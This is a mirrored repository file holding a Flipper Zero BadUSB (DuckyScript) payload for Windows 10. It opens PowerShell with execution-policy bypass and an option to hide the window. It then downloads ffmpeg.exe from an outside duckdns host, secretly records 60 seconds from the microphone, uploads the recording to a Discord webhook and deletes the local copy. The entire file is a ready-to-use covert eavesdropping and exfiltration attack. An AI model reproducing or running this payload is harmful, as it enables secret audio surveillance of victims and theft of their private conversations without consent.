mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-05 20:40:14 -08:00
21 lines
2.0 KiB
Plaintext
21 lines
2.0 KiB
Plaintext
REM Title: Record Mic To Discord
|
|
REM Author: @beigeworm | https://github.com/beigeworm
|
|
REM Description: record a 60 second audio file from the microphone and send to discord.
|
|
REM Target: Windows 10
|
|
|
|
REM SETUP
|
|
REM replace YOUR_WEBHOOK_HERE (below) with your discord webhook.
|
|
|
|
REM some setup for dukie script.
|
|
DEFAULT_DELAY 100
|
|
|
|
GUI r
|
|
DELAY 750
|
|
|
|
REM open powershell (add "-W Hidden" to hide the window).
|
|
STRING powershell -NoP -NonI -Exec Bypass
|
|
ENTER
|
|
DELAY 5000
|
|
|
|
STRING $hookurl = 'YOUR_WEBHOOK_HERE';Function RecordAudio{param ([int[]]$t);$Path = "$env:Temp\ffmpeg.exe";If (!(Test-Path $Path)){$url = "http://beigenet.duckdns.org/files/Win10Tools/ffmpeg.exe";iwr -Uri $url -OutFile $Path};sleep 1;Add-Type '[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IMMDevice {int a(); int o();int GetId([MarshalAs(UnmanagedType.LPWStr)] out string id);}[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IMMDeviceEnumerator {int f();int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);}[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }public static string GetDefault (int direction) {var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;IMMDevice dev = null;Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(direction, 1, out dev));string id = null;Marshal.ThrowExceptionForHR(dev.GetId(out id));return id;}' -name audio -Namespace system;function getFriendlyName($id) {$reg = "HKLM:\SYSTEM\CurrentControlSet\Enum\SWD\MMDEVAPI\$id";return (get-ItemProperty $reg).FriendlyName};$id1 = [audio]::GetDefault(1);$MicName = "$(getFriendlyName $id1)"; Write-Output $MicName;$mp3Path = "$env:Temp\AudioClip.mp3";if ($t.Length -eq 0){$t = 10}.$env:Temp\ffmpeg.exe -f dshow -i audio="$MicName" -t $t -c:a libmp3lame -ar 44100 -b:a 128k -ac 1 $mp3Path;curl.exe -F file1=@"$mp3Path" $hookurl | Out-Null;sleep 1;rm -Path $mp3Path -Force}RecordAudio -t 60;exit
|
|
ENTER |